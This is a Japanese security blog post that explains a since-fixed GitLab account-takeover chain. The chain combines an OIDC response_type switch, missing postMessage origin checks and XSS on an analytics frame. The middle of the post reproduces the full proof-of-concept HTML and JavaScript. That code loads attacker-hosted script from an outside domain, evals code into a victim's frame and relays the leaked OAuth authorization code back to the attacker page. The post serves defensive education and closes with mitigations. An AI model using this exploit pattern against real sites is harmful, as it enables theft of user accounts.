はじめに
こんにちは。株式会社Flatt Securityセキュリティエンジニアの森(@ei01241)です。
最近は認証や認可に際してOpenID Connectを使うWebサービスが増えていると思います。「Googleアカウント/Twitter/Facebookでログイン」などのUIはあらゆるサービスで見かけると思います。しかし、OpenID Connectの仕様をよく理解せずに不適切な実装を行うと脆弱性を埋め込むことがあります。
そこで、突然ですがクイズです。以下のTweetをご覧ください。
⚡️突然ですがクイズです!⚡️
— 株式会社Flatt Security (@flatt_security) 2023年7月23日
以下の画面はOAuth 2.0 Best Practice上は推奨されないような実装になっており、潜在的リスクがあります。https://t.co/bXGWktj5fx
どのようなリスクが潜んでいるか、ぜひ考えてみてください。このリスクを用いた攻撃についての解説記事はブログで明日公開します! pic.twitter.com/SsyFdnp1wm
考えられるリスクとして網羅的ではないかもしれませんが、こちらのクイズで想定していた解答すなわち潜在的なリスクは以下のようなものでした。
- URLのフラグメント(#以降)中に認可コードが残留している
- サードパーティのリソースがページ中に含まれている
これらの潜在的リスクがどのようにして実際の攻撃につながっていくのでしょうか。
そこで本稿では、GitLabで発見された同様の脆弱性の内容を考察することで、OpenID Connectを利用する際に気を付けるべき点とその緩和策について、セキュリティの観点から記述していきます。
免責事項
本稿の内容はセキュリティに関する知見を広く共有する目的で執筆されており、脆弱性の悪用などの攻撃行為を推奨するものではありません。許可なくプロダクトに攻撃を加えると犯罪になる可能性があります。当社が記載する情報を参照・模倣して行われた行為に関して当社は一切責任を負いません。
- はじめに
- 免責事項
- 脆弱性の概要
- 前提知識1: OpenID Connect
- 前提知識2: 現代的なアプリケーションの特徴
- 前提知識3: Groupings of Browsing Contexts
- 前提知識のまとめ
- Googleサインインでのresponse_typeの切り替えとアナリティクスサイト(gitlab-api.arkoselabs.com)のXSSを組み合わせた、GitLabでのワンクリックアカウント乗っ取り
- 攻撃手順のまとめ
- おわりに
- 参考文献
脆弱性の概要
本脆弱性は、罠サイトに表示されたGitLabのログインリンクを開き、Googleアカウントを用いてログインすると、攻撃者にGitLabのアカウントが乗っ取られる脆弱性になります。
本脆弱性を理解するために必要な前提知識は以下の3つになります。
- OpenID Connect
- フレーム間通信
- Groupings of Browsing Contexts
そして、以下の3つの脆弱性を組み合わせることで、アカウント乗っ取りが成立しています。
- OpenID ConnectのエラーによるURLへの認可コードの残留
- フレーム間通信におけるOrigin検証不備
- アナリティクスサイトのXSS
前提知識の途中で、3つの脆弱性を紹介していきます。
前提知識1: OpenID Connect
OpenID Connect(以下、OIDCと呼びます)は、OAuth2.0の拡張仕様であり、認証認可のためのアイデンティティーレイヤーです。
(Identity, Authentication) + OAuth 2.0 = OpenID Connect
出典: https://openid.net/connect/faq
本稿においては、紹介する脆弱性を理解するため必要な前提知識や主要なセキュリティ観点を除き、OIDCに関する網羅的な解説は行いません。
Google OIDC 認可コードフロー
上にGoogleにおける認可コードフローのシーケンス図を示します。以下、リライングパーティのことを「RP」と呼びます。また、OpenID Providerのことを「OP」と呼びます。
RPの「Googleでログインする」を押します。ここからOIDCのフローが始まります。
(1) ブラウザからRPにアクセスします。
(2) RPからOPにリダイレクトします。
(3) ブラウザからOPに以下のような形式の認可リクエストを送信します(見やすいように改行を入れています)。
GET /authorize? response_type=code &response_mode=query &client_id=some_client &scope=openid &redirect_uri=https%3A%2F%2Fclient.example.com%2Fcallback &state=DcP7csa3hMlvybERqcieLHrRzKBra HTTP/1.1 Host: accounts.google.com
(4) ブラウザとOP間でやりとりし、OPのクレデンシャルを用いてログインします。
(5) OPがブラウザに以下のような形式の認可レスポンスを返します。
HTTP/1.1 302 Found Location: https://client.example.com/callback?code=SplxlOBeZQQYbYS6WxSbIA&state=DcP7csa3hMlvybERqcieLHrRzKBra
(6) ブラウザがRPのリダイレクトエンドポイントに対して以下のような形式でリダイレクトします。
GET /authorize? &code=SplxlOBeZQQYbYS6WxSbIA &state=DcP7csa3hMlvybERqcieLHrRzKBra HTTP/1.1 Host: client.example.com
(7) RPがOPへ、認可レスポンスに含まれている認可コードをトークンエンドポイントに送信します。
(8) OPからRPへ、認可コードと引き換えにアクセストークンとIDトークンが発行されます。
(9) RPがIDトークンの妥当性を検証します。
(10) RPがUserInfoのプロファイルエンドポイントにリクエストします。
(11) UserInfoからRPにプロファイルが返ってきます。
state
認可コードフローと合わせて用いられるパラメータであり、CSRF防止のための機構です。GitLabの認可コードフローでも用いられています。
手順3の認可リクエストと手順6のリダイレクトによるリクエストが同じでない場合、攻撃者のアカウントで強制ログインさせるログインCSRF攻撃を受ける可能性があります。そのため、RPは手順2でstate
を生成し、手順6のstate
と一致しているか検証することで、手順3と手順6のリクエストが同一人物からのものであることを確認できます。つまり、state
の検証はRP側の責務になります。
response_type
認可リクエストにてクエリパラメータのresponse_type
を指定することで、認可サーバーに対して、認可レスポンスの何(認可コードやアクセストークンやIDトークン)を(どのタイミングで)返すか指示できます。また、デフォルトではresponse_type
に応じたresponse_mode
が決まっています。
response_mode
認可リクエストにてクエリパラメータのresponse_mode
を指定することで、認可サーバーに対して、認可レスポンスをどのような形式で認可コードやアクセストークンやIDトークンを返すか指示できます。
response_typeとresponse_modeの関係
Google OPの場合、response_type=code
の場合は暗黙的にresponse_mode=query
が指定され、response_type
にid_token
を含む場合(例えば、response_type=code,id_token
など)は暗黙的にresponse_mode=fragment
が指定されます。
もし、認可レスポンスが意図しない形式でRPに返ってきた場合、RPは認可レスポンスを正常に処理できずにエラーを返すかもしれません。 そして、エラーを返した場合には、URL(JavaScriptの文脈では、URLはlocation.hrefからフラグメントを含めて取得できるため、以下、「location.href」と呼びます)に認可コードなどの機密情報が残留することがあります。このように、「RPが認可レスポンスを正常に扱えずにエラーを返してしまうこと」をnon-happy pathと呼ぶことにします。
GitLabでは、response_type=code
を用いていたため、response_mode=query
を想定した実装を行っていました。そのため、response_type=id_token
などの場合のresponse_mode=fragment
を想定しておらず、パラメータが正常にパースされませんでした。その結果、エラーページに遷移した場合に、location.hrefに認可コードが残留しました。
ここまでで、response_type
の切り替えによって認可コードフローがエラーを返した場合に、location.hrefに認可コードが残留することがわかりました。しかし、そのOrigin上でXSSが存在しない限りは、フラグメントも含めてlocation.hrefは取得できません。どうやって攻撃者はlocation.hrefを奪取するのでしょうか?
前提知識2: 現代的なアプリケーションの特徴
ここで、少しだけ話を変えます。現代的なアプリケーションでは、あるサイトからiframeでアナリティクスサイトを開くことが一般的になっています。もちろん、エラーページも例外ではありません。gitlab.comではiframeでアナリティクスサイト(gitlab-api.arkoselabs.com)を開き、フレーム間通信することでアナリティクスを実現していました。
ここで一旦、フレーム間通信について復習しましょう。
フレーム間通信
gitlab.comとiframeで開いたアナリティクスサイトの間での通信ですが、 本来であれば、異なるOrigin間ではSOP(Same Origin Policy)によって通信が制限されます。しかし、iframeやwindow.openで開いた親子ウィンドウであれば、異なるOriginであっても、送信側と受信側を適切に設定すれば通信が可能になります。
例えば、親ウィンドウhttps://example.comを送信側として、子フレームhttps://iframe.example.comを受信側とします。親ウィンドウと子フレームはOriginが異なるため、SOPによって通信が制限されています。しかし、送信側と受信側を以下のように設定することで通信が可能になります。
また、受信側は意図したOriginからメッセージを受信しているか検証する必要があります。もし、受信側のOrigin検証に不備が存在した場合には、意図しないOriginからメッセージを受け取り、不正な処理を実行する可能性があります。
親ウィンドウhttps://example.com
<iframe src="https://iframe.example.com" id="frame"></iframe> <script> const payload = "hello"; const targetWindow = document.getElementById("frame"); window.poc = targetWindow.contentWindow; frame.onload = function () { window.poc.postMessage(payload, "*"); // メッセージの送信 }; </script>
子フレームhttps://iframe.example.com
<script> window.addEventListener( "message", // メッセージの受信 function (e) { console.log(e); if (e.origin === "https://example.com") { // Origin検証 console.log(e.data); } else { alert("Message from " + e.origin); } }, false ); </script>
では、アナリティクスサイトではどのようなフレーム間通信を行っていたのでしょうか?
アナリティクスサイトの仕様
アナリティクスサイトには、仕様として以下のように親ウィンドウからJavaScriptを読み込ませるコマンドと親ウィンドウのlocation.hrefを返すコマンドが実装されていました。
<script> window.addEventListener("message", function (e) { if (e.source !== window.parent) { // 親ウィンドウからのメッセージでない場合はエラーを返してリターンする return; } if (e.data.type === "loadJs") { // JavaScriptを読み込ませるコマンド loadScript(e.data.jsUrl); } else if (e.data.type === "initConfig") { // 親ウィンドウのlocation.hrefを返すコマンド loadConfig(e.data.config); } }); </script>
しかし、ここにはOrigin検証の不備があります。親ウィンドウであれば、任意のOriginからpostMessageを送信できました。つまり、アナリティクスサイトの仕様から、アナリティクスサイトに対して、任意のJavaScriptを読み込ませること(XSS)と親ウィンドウのlocation.hrefを取得することができます。
ただし、このままでは、攻撃者のサイトがiframeで開いたアナリティクスサイトにXSSできるだけで、被害者のエラーページに対して何も影響を及ぼしません。どのようにして被害者のエラーページに影響させればいいのでしょうか?
ここで、攻撃者のサイトと被害者のエラーページを1つのGroupings of Browsing Contextsに含めるテクニックがあります。
前提知識3: Groupings of Browsing Contexts
Browsing Contextsとは、documentオブジェクトがユーザーに提示される環境のことです。そして、このBrowsing Contextsをiframeやwindow.openで開いたサイトの集合のことをGroupings of Browsing Contextsと言います。また、Groupings of Browsing Contextsに属しておりかつSame Originなサイト間であれば、JavaScriptが実行できる仕様があります。
これを利用すれば、攻撃者のサイトと被害者のエラーページを1つのGroupings of Browsing Contextsに含ませることで、攻撃者のサイトがiframeで開いたアナリティクスサイトのXSSによって、被害者のエラーページがiframeで開いたアナリティクスサイトに対してJavaScriptを実行できることになります。
攻撃者のサイトからiframeで開いたアナリティクスサイトに、XSSを利用してgitlab.comのエラーページを表示するような罠リンクを表示し、この罠リンクを被害者に踏ませることで、
- 攻撃者のサイトhttps://attacker.test
- 攻撃者のサイトがiframeで開いたアナリティクスサイトhttps://iframe.victim.test
- 被害者のエラーページhttps://victim.test
- 被害者のエラーページがiframeで開いたアナリティクスサイトhttps://iframe.victim.test
の4つが、1つのGroupings of Browsing Contextsに属することになります。そして、2つ目のサイトと4つ目のサイトはSame Originであるため、2つ目のサイトから4つ目のサイトに対してJavaScriptが実行できます。これを用いて4つ目のアナリティクスサイトに対してアナリティクスサイト仕様のコマンドを利用することでlocation.hrefを取得できます。
さて、ここまでの前提知識をまとめてみましょう。
前提知識のまとめ
ここまでの前提知識は以下の通りです。そして、これらを連鎖することによってアカウント乗っ取りを可能にしています。
- Google OPの
response_type
切り替えによるlocation.hrefへの認可コード残留 - フレーム間通信におけるOrigin検証不備
- アナリティクスサイトのXSS
- Groupings of Browsing Contextsの仕様
Googleサインインでのresponse_typeの切り替えとアナリティクスサイト(gitlab-api.arkoselabs.com)のXSSを組み合わせた、GitLabでのワンクリックアカウント乗っ取り
ここからは、Frans Rosén氏が発見したGitLabの脆弱性の攻撃コードと動画を、弊社で作成したブラウザの挙動やコードの動作の画像を用いて解説します。
Frans Rosén氏の攻撃コードと動画は以下のリンクにあります。
出典: https://gitlab.com/gitlab-org/gitlab/-/issues/362394
この脆弱性は、悪意あるサイトから開いたiframeに仕掛けられた罠リンクで誘導されたGitLabのページで、Googleサインインすることでアカウント乗っ取りされるものです。現時点で、この脆弱性は既に修正済みです。
本脆弱性では、今まで紹介した以下のバグや脆弱性を組み合わせることで、アカウント乗っ取りを可能にしています。
response_type
切り替えによるgitlab.comのエラーページに認可コードを含むlocation.hrefが残留するバグ- アナリティクスサイト(gitlab-api.arkoselabs.com)におけるOrigin検証不備
- アナリティクスサイト(gitlab-api.arkoselabs.com)における任意のJavaScriptを読み込む脆弱性(XSS)
攻撃手順
最終的には、以下の図のような手順で攻撃します。なお、fransrosen.com
は、以下の説明における「攻撃者のサイト」と対応しています。
大まかな攻撃手順は以下の通りです。
- 攻撃者は自身のGoogleサインインフローから
state
を用意する - 攻撃者のサイトからiframeでアナリティクスサイトを開く
- iframeで開いたアナリティクスサイトに事前に用意したJavaScriptを読み込ませる
- iframe内のアナリティクスサイトにOIDCでエラーを返すような罠リンクを作成する
- 被害者にリンクをクリックさせ、Googleアカウントでログインさせる
- gitlab.comがエラーページを表示する
- エラーページがiframeでアナリティクスサイトを開く
- 手順3のiframeから手順7のiframeに対してJavaScriptを実行する
- 手順7のiframeが親ウィンドウのgitlab.comにメッセージを送信し、認可コードを含むlocation.hrefを入手する
- location.hrefを手順3のiframeに転送する
- 手順3のiframeが攻撃者のサイトにlocation.hrefを転送する
- 攻撃者のサイトに認可コードと
state
を表示する - 認可コードと
state
を用いて被害者としてログインする
では、それぞれの手順について解説します。
手順1
攻撃者自身がGoogleサインインフローを実行し、state
を入手します(この時にサインインを完了するとstate
が消費されてしまうため、フローを中断します)。このstate
は、後に利用しますが、本脆弱性の本質ではありません。
手順2
攻撃者が以下のHTMLをホストします。
<html> <style>pre { word-break: break-word; white-space: pre-wrap; }</style> <body> <div id="start"> Attacker, enter your state when trying to sign in to Google here:<br /> <input id="state"> <button onclick="launch()">Generate a victim page with attacker's state</button> </div> <div id="fr"></div> <script> var inj; function launch() { document.getElementById('fr').innerHTML = '<iframe id="b" name="b" src="https://gitlab-api.arkoselabs.com/v2/12D76D4C-5EDF-4EB4-A84D-042C497A9610/enforcement.1055143c784efaba2cba6d6738e34724.html?state=' + encodeURIComponent(document.getElementById('state').value) + '" frameborder=0 style="width: 500px; height: 300px"></iframe>'; document.getElementById('start').innerHTML = ''; injectiframe() } window.onmessage = function(e) { if (e.data === 'stopinject') { console.log('frame injected'); clearInterval(inj) } if (e.data.indexOf('id_token') !== -1) { payload = JSON.parse(e.data); code = payload.siteData.location.href.split('#')[1].split('&id_token')[0].replace('state%3D', ''); document.getElementById('fr').innerHTML = 'We have the code + state from Google:<br /><pre>' + code + '</pre>'; } } function injectiframe() { inj = setInterval(function() { console.log('looking for frame...'); b.postMessage('{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://foo","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://foo","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}},"data":{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://fransrosen.com/gitlab-hijack-frame-dsnion2doin2od.js?3","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://gitlab-api.arkoselabs.com/fc/api/sri/","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}}},"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"config","type":"emit"}', '*'); }, 500); } </script> </body> </html>
このHTMLには、以下の機能があります。
- iframeでアナリティクスサイトを開く
- iframeで開いたアナリティクスサイトから返ってくるlocation.hrefを受け取るonmessageを用意する
- iframeで開いたアナリティクスサイトに、手順3でホストするJavaScriptをpostMessageを用いて読み込ませる(XSS)
手順2.1
攻撃者のサイトがiframeでアナリティクスサイトを開くコードは以下の通りです。
function launch() { document.getElementById('fr').innerHTML = '<iframe id="b" name="b" src="https://gitlab-api.arkoselabs.com/v2/12D76D4C-5EDF-4EB4-A84D-042C497A9610/enforcement.1055143c784efaba2cba6d6738e34724.html?state=' + encodeURIComponent(document.getElementById('state').value) + '" frameborder=0 style="width: 500px; height: 300px"></iframe>'; document.getElementById('start').innerHTML = ''; injectiframe() }
手順2.2
iframeで開いたアナリティクスサイトからlocation.hrefを受け取り、攻撃者のサイトに転送するコードは以下の通りです。
window.onmessage = function(e) { if (e.data === 'stopinject') { console.log('frame injected'); clearInterval(inj) } if (e.data.indexOf('id_token') !== -1) { payload = JSON.parse(e.data); code = payload.siteData.location.href.split('#')[1].split('&id_token')[0].replace('state%3D', ''); document.getElementById('fr').innerHTML = 'We have the code + state from Google:<br /><pre>' + code + '</pre>'; } }
手順2.3
手順3で用意するJavaScriptをiframeで開いたアナリティクスサイトに読み込せるコードは以下の通りです。
function injectiframe() { inj = setInterval(function() { console.log('looking for frame...'); b.postMessage('{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://foo","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://foo","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}},"data":{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://fransrosen.com/gitlab-hijack-frame-dsnion2doin2od.js?3","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://gitlab-api.arkoselabs.com/fc/api/sri/","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}}},"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"config","type":"emit"}', '*'); }, 500); }
アナリティクスサイトのOrigin検証不備とXSSを利用して、手順3で用意する攻撃者のホストしたJavaScriptのパスをchallengeApiUrl
パラメータに付与することで、攻撃者のJavaScriptを読み込ませます。
"challengeApiUrl":"https://fransrosen.com/gitlab-hijack-frame-dsnion2doin2od.js"
手順3
攻撃者が以下のJavaScriptをホストします。これは攻撃者のサイトからiframeで開いたアナリティクスサイトに読み込ませるJavaScriptです。
var b, x; var state = location.href.substr(location.href.indexOf('state=')); document.body.innerHTML = '<a href="#" onclick="b=window.open(\'https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?client_id=805818759045-aa9a2emskmnmeii44krng550d2fd44ln.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fgitlab.com%2Fusers%2Fauth%2Fgoogle_oauth2%2Fcallback&response_type=code%2cid_token&scope=email%20profile&state=' + state + '&flowName=GeneralOAuthFlow\');">Click here to hijack Google access-token from Gitlab</a>'; top.postMessage('stopinject', '*'); window.onmessage=function(e) { top.postMessage(e.data, '*'); b.close(); } x = setInterval(function() { if(b && b.frames[1]) { b.frames[1].eval( 'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' + 'top.postMessage(\'{"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"request config","type":"broadcast"}\',"*")' ) clearInterval(x) } }, 1000);
このJavaScriptには、以下の機能があります。
- OIDCのフローがわざとエラーを返すような罠リンクを画面に表示する
- gitlab.comのエラーページ上で、iframeで開くアナリティクスサイトからpostMessageを受け取り、攻撃者のサイトに転送するonmessageを用意する
- 攻撃者のサイトからiframeで開いたアナリティクスサイトから、gitlab.comのエラーページ上でiframeで開くアナリティクスサイトに対して、
eval
でJavaScriptを実行する
手順3.1
Google OPのresponse_type切り替えによるgitlab.comのエラーを利用して、意図的にエラーページに遷移するような罠リンクを被害者に表示するコードは以下の部分です。ここで、手順1で用意した攻撃者のstate
が用いられています。また、本来の認可リクエストのresponse_type=code
から、response_type=code,id_token
に変更されています。
var state = location.href.substr(location.href.indexOf('state=')); document.body.innerHTML = '<a href="#" onclick="b=window.open(\'https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?client_id=805818759045-aa9a2emskmnmeii44krng550d2fd44ln.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fgitlab.com%2Fusers%2Fauth%2Fgoogle_oauth2%2Fcallback&response_type=code%2cid_token&scope=email%20profile&state=' + state + '&flowName=GeneralOAuthFlow\');">Click here to hijack Google access-token from Gitlab</a>';
このJavaScriptには、以下の機能があります。
- 被害者のgitlab.comのエラーページからpostMessageを受け取り、攻撃者のサイトがiframeで開くアナリティクスサイトに転送するonmessageを用意する
- 被害者のgitlab.comのエラーページがiframeで開くアナリティクスサイトから、被害者のgitlab.comのエラーページにlocation.hrefを返すように命令する
手順4
手順3.1で用意した罠リンクが、攻撃者のサイトがiframeで開いたアナリティクスサイト上で表示されます。
手順5
被害者がリンクをクリックすると、Googleアカウントの認証画面が表示されます。 被害者がGoogleアカウントのメールアドレスとパスワードを用いてログインします。
手順6
OPから認可レスポンスが返ってきますが、認可レスポンスはクエリでなくフラグメントで返ってきているため、GitLabはエラーページを表示します。この時にlocation.hrefに認可コードが残留しています。 同時に、被害者のgitlab.comのエラーページがiframeでアナリティクスサイトを開きます。
手順7
被害者のgitlab.comのエラーページが、iframeでアナリティクスサイトを開いたことで、b.frames[1]
が参照できるようになり、手順3のJavaScriptの条件式がtrueになります。
if(b && b.frames[1]) { b.frames[1].eval( 'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' + 'top.postMessage(\'{"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"request config","type":"broadcast"}\',"*")' ) clearInterval(x) }
手順8
攻撃者のサイトがiframeで開いたアナリティクスサイトと、被害者のエラーページのgitlab.comがiframeで開いたアナリティクスサイトはGroupings of Browsing ContextsかつSame Originであるため、前者から後者にeval
でJavaScriptが実行できます。また、b
はaccounts.google.comからgitlab.comのエラーページに遷移したウィンドウを指しており、b.frames[1]
はそのエラーページが開いたアナリティクスサイトのiframeです。
b.frames[1].eval( 'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' + 'top.postMessage(\'{"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"request config","type":"broadcast"}\',"*")' )
手順9
被害者のエラーページのgitlab.comがiframeで開いたアナリティクスサイトで、攻撃者のサイトがiframeで開いたアナリティクスサイトにlocation.hrefを転送するためのonmessageを実行します。
onmessage=function(e) { top.opener.postMessage(e.data, "*") };
被害者のgitlab.comのエラーページ.comがiframeで開いたアナリティクスサイトから、親ウィンドウである被害者のgitlab.comのエラーページへpostMessageすると、被害者のgitlab.comのエラーページは認可コードを含んだlocation.hrefを返します。
top.postMessage('{"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"request config","type":"broadcast"}',"*")
手順10
手順9で用意したonmessageがlocation.hrefを受け取り、攻撃者のサイトが開いたiframeのアナリティクスサイトにlocation.hrefを転送します。
top.opener.postMessage(e.data, "*")
手順11
攻撃者のサイトがiframeで開いたアナリティクスサイトがlocation.hrefを受け取り、攻撃者のサイトにlocation.hrefを転送し、その後ウィンドウを閉じます。
window.onmessage=function(e) { top.postMessage(e.data, '*'); b.close(); }
手順12
攻撃者のサイトがlocation.hrefを受け取り、認可コードとstate
を表示します(表示することは攻撃をわかりやすくするためであり、攻撃の本質ではありません)。
window.onmessage = function(e) { if (e.data.indexOf('id_token') !== -1) { payload = JSON.parse(e.data); code = payload.siteData.location.href.split('#')[1].split('&id_token')[0].replace('state%3D', ''); document.getElementById('fr').innerHTML = 'We have the code + state from Google:<br /><pre>' + code + '</pre>'; } }
手順13
攻撃者は、認可コードとstate
を一緒に用いて被害者としてログインできます。
以上でアカウント乗っ取りが達成されます。
攻撃手順のまとめ
ここまでの攻撃手順をまとめると以下のような手順になります。
手順1~5
手順6~8
手順9~11
最終的な攻撃手順
おわりに
本稿で紹介した、「OIDCのnon-happy pathから認可コードを奪取するまでの過程」を一般化した攻撃手順を、Frans Rosén氏は研究ブログの中でdirty dancingと命名しています。
さて、本稿における結論として、dirty dancingを防ぐためにOIDC利用時に気をつけるべき事項についてまとめます。
まず、OIDCにおいては、OPから返ってきた値を検証する責務はRPにあります。また、RPが検証するべきパラメータが複数存在します。そのため、OIDCを利用するのであれば、OIDCの仕様を理解し、自身のサービスで検証するべきパラメータを理解することが必要です。
次に、OIDCのエラーページなどはURLのフラグメントが残らないようにし、サードパーティのiframeなどをできるだけ開かないようにしましょう。
OAuth認可レスポンスと認可エンドポイントの結果としてレンダリングされるページには、第三者のリソースや外部サイトへのリンクを含めるべきではありません(SHOULD NOT)
出典: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#section-4.2.4
最後に、フレーム間通信においては、Origin検証は受信側の責務です。本脆弱性ではアナリティクスサイト側の不備には対応できませんが、自前で実装したフレーム間通信ではOriginが正確に検証しているか確認しましょう。
OIDCの仕様の理解とセキュリティ機構を用いることはもちろん、こういった脆弱性を生まないよう、日々の開発で注意することも、同じように重要な事項であると言えます。
Flatt Securityではこれらの脆弱性の有無を専門のセキュリティエンジニアが検証するセキュリティ診断サービスを提供しています。 仕様・実装に不安のある方はぜひお気軽にお問い合わせください。
上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。
また、Flatt Security はセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式 Twitter のフォローをぜひお願いします!
長くなりましたが、最後までお読みいただきありがとうございました。
参考文献
- 1-click account hijack for anyone using Google sign-in with Gitlab, due to response-type switch + leaking to gitlab-api.arkoselabs.com that has XSS
- Account hijacking using "dirty dancing" in sign-in OAuth-flows
- RFC6749
- OpenID Connect Core 1.0 incorporating errata set 1
- OAuth 2.0 Multiple Response Type Encoding Practices
- OAuth 2.0 Security Best Current Practice
- OAuth/OpenID Connect
- Window.postMessage()
- Browsing contexts